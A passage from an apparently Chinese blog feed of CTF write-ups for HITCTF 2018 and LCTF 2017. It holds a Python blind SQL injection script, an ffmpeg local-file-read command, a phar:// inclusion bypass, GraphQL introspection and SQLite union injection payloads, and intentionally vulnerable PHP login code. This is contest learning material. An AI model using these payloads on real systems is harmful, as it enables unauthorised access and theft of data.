class="keyword">if</span> (mysqli_num_rows($query) == <span class="number">1</span>){</span><br><span class="line"> $result = mysqli_fetch_array($query);</span><br><span class="line"> <span class="keyword">if</span> ($result[<span class="string">'passwd'</span>] == $passwd){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'you did it and this is your flag: '</span>.$flag);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Wrong password'</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Wrong username'</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>过滤了很多东西,构造盲注拿到密码<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># encoding: utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">req=requests.session()</span><br><span class="line">lists=<span class="string">"0123456789abcdefghijklmnopqrstuvwxyz"</span></span><br><span class="line">flag=<span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">50</span>):</span><br><span class="line"> url=<span class="string">"http://182.254.247.127:2005/"</span></span><br><span class="line"> </span><br><span class="line"> ok=<span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> s <span class="keyword">in</span> lists:</span><br><span class="line"> payload={<span class="string">"username"</span>:<span class="string">"1'||passwd<'"</span>+flag+s+<span class="string">"'=id#"</span>,<span class="string">"passwd"</span>:<span class="string">""</span>}</span><br><span class="line"> <span class="keyword">print</span> payload</span><br><span class="line"> r1=req.post(url,data=payload)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="string">"username"</span> <span class="keyword">in</span> r1.text:</span><br><span class="line"> ok=s</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> flag+=ok</span><br><span class="line"> <span class="keyword">print</span> flag</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="comment">#print r1.text</span></span><br></pre></td></tr></table></figure><br><img src="/img/2018hit14.png" alt=""><br>然后用密码去拿flag<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($result[<span class="string">'passwd'</span>] == $passwd){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'you did it and this is your flag: '</span>.$flag);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br><img src="/img/2018hit5.png" alt=""></p>
<h3 id="小电影-200"><a href="#小电影-200" class="headerlink" title="小电影 200"></a>小电影 200</h3><p>Ffmpeg读文件<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 ffmpeg.py file:///flag.txt sxcurity.avi</span><br></pre></td></tr></table></figure><br><img src="/img/2018hit6.png" alt=""></p>
<h3 id="SecurePY"><a href="#SecurePY" class="headerlink" title="SecurePY"></a>SecurePY</h3><p>参考chybeta<br><a href="https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/" target="_blank" rel="noopener">https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/</a><br><code>__pycache__/app.cpython-35.pyc</code> 读取缓存,反编译得到源码<br>然后爆破key<br><img src="/img/2018hit7.png" alt=""><br>得到key,解密得到flag<br><img src="/img/2018hit8.png" alt=""></p>
<h3 id="BabyWrite"><a href="#BabyWrite" class="headerlink" title="BabyWrite"></a>BabyWrite</h3><p>这题存在文件包含,可以用伪协议读取所有源码,然后发现可以写文件的地方<br>但是写入的文件大概是这样的<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$username+" => "+$password</span><br></pre></td></tr></table></figure><br>并且文件后缀为<code>log</code>,而文件包含的部分限定了后缀为<code>.php</code>,尝试<code>%00</code>失败,包含远程文件失败,<br>那就只剩<code>phar://</code>和<code>zip://</code>了,这里就只剩一个问题了,<code>=></code>该怎么绕过,<br>这里卡了很久,以前看过一航大佬的文章我竟然给忘了,后来给了hint去看了才知道<br><a href="https://www.jianshu.com/p/03e612b9e379" target="_blank" rel="noopener">https://www.jianshu.com/p/03e612b9e379</a><br>知道怎么绕过后就很简单了<br>构造一个含有<code>=></code>字符串的phar包,<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line">$phar = <span class="keyword">new</span> Phar(<span class="string">'test.phar'</span>, <span class="number">0</span>, <span class="string">'test.phar'</span>); </span><br><span class="line">$phar->buildFromDirectory(dirname(<span class="keyword">__FILE__</span>) . <span class="string">'/project'</span>); </span><br><span class="line">$phar->setDefaultStub(<span class="string">'1 => 1.php'</span>, <span class="string">'1 => 1.php'</span>); </span><br><span class="line">$phar->compressFiles(Phar::GZ);</span><br></pre></td></tr></table></figure><br>然后把<code>=></code>前面的作为username,后面的作为password写入log文件夹<br><img src="/img/2018hit9.png" alt=""><br><img src="/img/2018hit10.png" alt=""><br>最后<code>?page=phar://log/xxxx/test</code>包含执行命令读取flag</p>
<h3 id="BabyQuery"><a href="#BabyQuery" class="headerlink" title="BabyQuery"></a>BabyQuery</h3><p>先上参考文章<br><a href="https://klionsec.github.io/2016/05/18/sqlite3-common-injection/" target="_blank" rel="noopener">https://klionsec.github.io/2016/05/18/sqlite3-common-injection/</a><br><a href="http://www.au1ge.xyz/2017/08/28/hitb-ctf-singapore-2017-web-wp/" target="_blank" rel="noopener">http://www.au1ge.xyz/2017/08/28/hitb-ctf-singapore-2017-web-wp/</a><br><a href="http://godot.win/index.php/archives/16/" target="_blank" rel="noopener">http://godot.win/index.php/archives/16/</a></p>
<p>看到题目只有一个按钮,点击,抓包,可以看到发送了一个query参数,用的是graphql ,传递的东西里有个Base32的字符串,解密得到1,尝试发送加引号的Base32字符串,提示只接受一个长度的字符串,于是各种搜索引擎,查到可以列出所有方法名的语句,<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">query={ __schema{queryType{fields{ name description}}} }</span><br></pre></td></tr></table></figure><br><img src="/img/2018hit11.png" alt=""><br>得到另一个方法<code>getscorebyyourname</code>,这个方法可以传递一个<code>name</code>字段,存在sql注入,然后就是查询<code>sqlit3</code>的注入技巧了,最后构造的注入语句<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">111' union select flag from Secr3t_fl4g --+"</span><br></pre></td></tr></table></figure><br><img src="/img/2018hit12.png" alt=""></p>
<h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h3 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h3><p>爬墙去youtube看视频拿flag</p>
<h3 id="BaSO4"><a href="#BaSO4" class="headerlink" title="BaSO4"></a>BaSO4</h3><p>反编译pyc得到源码,随机加密base64或base32,一共20次,<br>可以写脚本判断是否有小写字母来区分base64还是base32,因为加密次数不算很多,我是直接肉眼识别手动解密</p>
<h3 id="攻击流量分析"><a href="#攻击流量分析" class="headerlink" title="攻击流量分析"></a>攻击流量分析</h3><p>查看流量发现最后有个加密读取flag.txt的,导出到本地反向解密即可得到flag</p>
<h3 id="键盘流量分析"><a href="#键盘流量分析" class="headerlink" title="键盘流量分析"></a>键盘流量分析</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tshark.exe -r keyboard.pcap -T fields -e usb.capdata > usbdata.txt</span><br></pre></td></tr></table></figure>
<p>导出键盘数据,脚本解密得到flag,要注意的是需要判断shift状态来区分大小写<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">mappings = { <span class="number">0x04</span>:<span class="string">"A"</span>, <span class="number">0x05</span>:<span class="string">"B"</span>, <span class="number">0x06</span>:<span class="string">"C"</span>, <span class="number">0x07</span>:<span class="string">"D"</span>, <span class="number">0x08</span>:<span class="string">"E"</span>, <span class="number">0x09</span>:<span class="string">"F"</span>, <span class="number">0x0A</span>:<span class="string">"G"</span>, <span class="number">0x0B</span>:<span class="string">"H"</span>, <span class="number">0x0C</span>:<span class="string">"I"</span>, <span class="number">0x0D</span>:<span class="string">"J"</span>, <span class="number">0x0E</span>:<span class="string">"K"</span>, <span class="number">0x0F</span>:<span class="string">"L"</span>, <span class="number">0x10</span>:<span class="string">"M"</span>, <span class="number">0x11</span>:<span class="string">"N"</span>,<span class="number">0x12</span>:<span class="string">"O"</span>, <span class="number">0x13</span>:<span class="string">"P"</span>, <span class="number">0x14</span>:<span class="string">"Q"</span>, <span class="number">0x15</span>:<span class="string">"R"</span>, <span class="number">0x16</span>:<span class="string">"S"</span>, <span class="number">0x17</span>:<span class="string">"T"</span>, <span class="number">0x18</span>:<span class="string">"U"</span>,<span class="number">0x19</span>:<span class="string">"V"</span>, <span class="number">0x1A</span>:<span class="string">"W"</span>, <span class="number">0x1B</span>:<span class="string">"X"</span>, <span class="number">0x1C</span>:<span class="string">"Y"</span>, <span class="number">0x1D</span>:<span class="string">"Z"</span>, <span class="number">0x1E</span>:<span class="string">"1"</span>, <span class="number">0x1F</span>:<span class="string">"2"</span>, <span class="number">0x20</span>:<span class="string">"3"</span>, <span class="number">0x21</span>:<span class="string">"4"</span>, <span class="number">0x22</span>:<span class="string">"5"</span>, <span class="number">0x23</span>:<span class="string">"6"</span>, <span class="number">0x24</span>:<span class="string">"7"</span>, <span class="number">0x25</span>:<span class="string">"8"</span>, <span class="number">0x26</span>:<span class="string">"9"</span>, <span class="number">0x27</span>:<span class="string">"0"</span>, <span class="number">0x28</span>:<span class="string">"n"</span>, <span class="number">0x2a</span>:<span class="string">"[DEL]"</span>, <span class="number">0X2B</span>:<span class="string">" "</span>, <span class="number">0x2C</span>:<span class="string">" "</span>, <span class="number">0x2D</span>:<span class="string">"-"</span>, <span class="number">0x2E</span>:<span class="string">"="</span>, <span class="number">0x2F</span>:<span class="string">"["</span>, <span class="number">0x30</span>:<span class="string">"]"</span>, <span class="number">0x31</span>:<span class="string">"\\"</span>, <span class="number">0x32</span>:<span class="string">"~"</span>, <span class="number">0x33</span>:<span class="string">";"</span>, <span class="number">0x34</span>:<span class="string">"'"</span>, <span class="number">0x36</span>:<span class="string">","</span>, <span class="number">0x37</span>:<span class="string">"."</span> }</span><br><span class="line">nums = []</span><br><span class="line">keys = open(<span class="string">'usbdata.txt'</span>)</span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> keys:</span><br><span class="line"> <span class="keyword">if</span> line[<span class="number">0</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">3</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">4</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">9</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">10</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">12</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">13</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">15</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">16</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">18</span>]!=<span class="string">'0'</span> <span class="keyword">or</span> line[<span class="number">19</span>]!=<span class="string">'0'</span> :</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">print</span> mappings[int(line[<span class="number">6</span>:<span class="number">8</span>],<span class="number">16</span>)],line</span><br><span class="line"> nums.append(int(line[<span class="number">6</span>:<span class="number">8</span>],<span class="number">16</span>))</span><br><span class="line"> <span class="comment">#print nums</span></span><br><span class="line">keys.close()</span><br><span class="line">output = <span class="string">""</span></span><br><span class="line">i=<span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> nums:</span><br><span class="line"> i+=<span class="number">1</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> n == <span class="number">0</span> :</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">print</span> i,output,mappings[n]</span><br><span class="line"> <span class="keyword">if</span> n <span class="keyword">in</span> mappings:</span><br><span class="line"> output += mappings[n]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> output += <span class="string">'[unknown]'</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">print</span> <span class="string">'output :n'</span> + output</span><br></pre></td></tr></table></figure><br><img src="/img/2018hit13.png" alt=""><br>02开头的为按住shift状态</p>
]]></content>
<summary type="html">
<p>刚放假正好看到HITCTF,划了几道水题,WriteUp如下<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
</entry>
<entry>
<title>2017 LCTF WriteUp</title>
<link href="https://www.codemonster.cn/2017/11/19/2017-lctf-writeup/"/>
<id>https://www.codemonster.cn/2017/11/19/2017-lctf-writeup/</id>
<published>2017-11-19T15:55:00.000Z</published>
<updated>2018-07-28T06:19:31.000Z</updated>
<content type="html"><![CDATA[<p>周末刚刚结束的LCTF,我们队一共做出了4道web,一道misc还有一道问卷调查(好气啊没抢到一血换pwnhub邀请码),感谢<code>吃饭去</code>大佬带飞~<br><a id="more"></a></p>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>对本渣渣而言,本次比赛质量还是不错的,我们队做出的四道web就涉及到了<code>CBC字节翻转攻击</code>、<code>PaddingOracle攻击</code>、<code>sprintf格式化注入</code>、<code>sql报错注出库名表名</code>、<code>join注入出列名</code>、<code>orderby无表名注入数据</code>、<code>SSRF绕过</code>、<code>条件竞争</code>、<code>7个字符内getshell</code>等知识,收获颇丰<br>下面是4道web的WriteUp</p>
<h1 id="Simple-blog"><a href="#Simple-blog" class="headerlink" title="Simple blog"></a>Simple blog</h1><p>A simple blog .To discover the secret of it.<br><a href="http://111.231.111.54/" target="_blank" rel="noopener">http://111.231.111.54/</a></p>
<h2 id="0x00获取源码"><a href="#0x00获取源码" class="headerlink" title="0x00获取源码"></a>0x00获取源码</h2><p>扫一下发现存在<code>.login.php.swp</code>和<code>.admin.php.swp</code>泄露<br><code>vim -r login.php</code>恢复后可以查看源码<br>login.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">session_start();</span><br><span class="line">define(<span class="string">"METHOD"</span>, <span class="string">"aes-128-cbc"</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">'config.php'</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">show_page</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<!DOCTYPE html></span></span><br><span class="line"><span class="string"><html></span></span><br><span class="line"><span class="string"><head></span></span><br><span class="line"><span class="string"> <meta charset="UTF-8"></span></span><br><span class="line"><span class="string"> <title>Login Form</title></span></span><br><span class="line"><span class="string"> <link rel="stylesheet" type="text/css" href="css/login.css" /></span></span><br><span class="line"><span class="string"></head></span></span><br><span class="line"><span class="string"><body></span></span><br><span class="line"><span class="string"> <div class="login"></span></span><br><span class="line"><span class="string"> <h1>后台登录</h1></span></span><br><span class="line"><span class="string"> <form method="post"></span></span><br><span class="line"><span class="string"> <input type="text" name="username" placeholder="Username" required="required" /></span></span><br><span class="line"><span class="string"> <input type="password" name="password" placeholder="Password" required="required" /></span></span><br><span class="line"><span class="string"> <button type="submit" class="btn btn-primary btn-block btn-large">Login</button></span></span><br><span class="line"><span class="string"> </form></span></span><br><span class="line"><span class="string"></div></span></span><br><span class="line"><span class="string"></body></span></span><br><span class="line"><span class="string"></html></span></span><br><span class="line"><span class="string">'</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_random_token</span><span class="params">()</span></span>{</span><br><span class="line"> $random_token = <span class="string">''</span>;</span><br><span class="line"> $str = <span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"</span>;</span><br><span class="line"> <span class="keyword">for</span>($i = <span class="number">0</span>; $i < <span class="number">16</span>; $i++){</span><br><span class="line"> $random_token .= substr($str, rand(<span class="number">1</span>, <span class="number">61</span>), <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $random_token;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_identity</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">global</span> $id;</span><br><span class="line"> $token = get_random_token();</span><br><span class="line"> $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);</span><br><span class="line"> $_SESSION[<span class="string">'id'</span>] = base64_encode($c);</span><br><span class="line"> setcookie(<span class="string">"token"</span>, base64_encode($token));</span><br><span class="line"> <span class="keyword">if</span>($id === <span class="string">'admin'</span>){</span><br><span class="line"> $_SESSION[<span class="string">'isadmin'</span>] = <span class="number">1</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $_SESSION[<span class="string">'isadmin'</span>] = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test_identity</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>($_SESSION[<span class="string">'id'</span>])) {</span><br><span class="line"> $c = base64_decode($_SESSION[<span class="string">'id'</span>]);</span><br><span class="line"> $token = base64_decode($_COOKIE[<span class="string">"token"</span>]);</span><br><span class="line"> <span class="keyword">if</span>($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){</span><br><span class="line"> <span class="keyword">if</span> ($u === <span class="string">'admin'</span>) {</span><br><span class="line"> $_SESSION[<span class="string">'isadmin'</span>] = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Error!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'username'</span>])&&<span class="keyword">isset</span>($_POST[<span class="string">'password'</span>])){</span><br><span class="line"> $username = mysql_real_escape_string($_POST[<span class="string">'username'</span>]);</span><br><span class="line"> $password = $_POST[<span class="string">'password'</span>];</span><br><span class="line"> $result = mysql_query(<span class="string">"select password from users where username='"</span> . $username . <span class="string">"'"</span>, $con);</span><br><span class="line"> $row = mysql_fetch_array($result);</span><br><span class="line"> <span class="keyword">if</span>($row[<span class="string">'password'</span>] === md5($password)){</span><br><span class="line"> get_identity();</span><br><span class="line"> header(<span class="string">'location: ./admin.php'</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Login failed.'</span>);</span><br><span class="line"> }</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">if</span>(test_identity()){</span><br><span class="line"> header(<span class="string">'location: ./admin.php'</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> show_page();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><br>admin.php<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">session_start();</span><br><span class="line"><span class="keyword">include</span>(<span class="string">'config.php'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!$_SESSION[<span class="string">'isadmin'</span>]){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'You are not admin'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'id'</span>])){</span><br><span class="line"> $id = mysql_real_escape_string($_GET[<span class="string">'id'</span>]);</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'title'</span>])){</span><br><span class="line"> $title = mysql_real_escape_string($_GET[<span class="string">'title'</span>]);</span><br><span class="line"> $title = sprintf(<span class="string">"AND title='%s'"</span>, $title);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $title = <span class="string">''</span>;</span><br><span class="line"> }</span><br><span class="line"> $sql = sprintf(<span class="string">"SELECT * FROM article WHERE id='%s' $title"</span>, $id);</span><br><span class="line"> $result = mysql_query($sql,$con);</span><br><span class="line"> $row = mysql_fetch_array($result);</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($row[<span class="string">'title'</span>])&&<span class="keyword">isset</span>($row[<span class="string">'content'</span>])){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<h1>"</span>.$row[<span class="string">'title'</span>].<span class="string">"</h1><br>"</span>.$row[<span class="string">'content'</span>];</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"This article does not exist."</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"><!DOCTYPE html></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <meta charset=<span class="string">"utf-8"</span>></span><br><span class="line"> <title>adminpage</title></span><br><span class="line"> <link href=<span class="string">"css/bootstrap.min.css"</span> rel=<span class="string">"stylesheet"</span>></span><br><span class="line"> <script src=<span class="string">"js/jquery.min.js"</span>></script></span><br><span class="line"> <script src=<span class="string">"js/bootstrap.min.js"</span>></script></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"> <nav class="navbar navbar-default" role="navigation"></span><br><span class="line"> <div class="navbar-header"></span><br><span class="line"> <a class="navbar-brand" href="#">后台</a></span><br><span class="line"> </div></span><br><span class="line"> <div></span><br><span class="line"> <ul class="nav navbar-nav"></span><br><span class="line"> <li class="active"><a href="#">编辑文章</a></li></span><br><span class="line"> <li><a href=<span class="string">"#"</span>>设置</a></li></span><br><span class="line"> </ul></span><br><span class="line"> </div></nav></span><br><span class="line"> <div class="panel panel-success"></span><br><span class="line"> <div class="panel-heading"></span><br><span class="line"> <h1 class="panel-title">文章列表</h1></span><br><span class="line"> </div></span><br><span class="line"> <div class="panel-body"></span><br><span class="line"> <li><a href=<span class="string">'?id=1'</span>>Welcome to myblog</a><br></li></span><br><span class="line"> <li><a href=<span class="string">'?id=2'</span>>Hello,world!</a><br></li></span><br><span class="line"> <li><a href=<span class="string">'?id=3'</span>>This is admin page</a><br></li></span><br><span class="line"> </div></span><br><span class="line"> </div></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><br>可以看到这道题分为两个部分,第一部分管理员登录,第二部分大概率是个注入</p>
<h2 id="0x01管理员登录"><a href="#0x01管理员登录" class="headerlink" title="0x01管理员登录"></a>0x01管理员登录</h2><p>测试发现<code>admin=123&password[]=111</code>或者直接<code>弱口令admin、admin</code>可以直接登录并跳转到<code>admin.php</code>,但是却提示不是真正的admin,查看admin.php源码,发现只有<code>$_SESSION['isadmin']</code>存在时,才算真正的管理员<br>而login.php中有关session的操作,就涉及到<code>get_identity()</code>和<code>test_identity()</code>两个函数<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_identity</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">global</span> $id;</span><br><span class="line"> $token = get_random_token();</span><br><span class="line"> $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);</span><br><span class="line"> $_SESSION[<span class="string">'id'</span>] = base64_encode($c);</span><br><span class="line"> setcookie(<span class="string">"token"</span>, base64_encode($token));</span><br><span class="line"> <span class="keyword">if</span>($id === <span class="string">'admin'</span>){</span><br><span class="line"> $_SESSION[<span 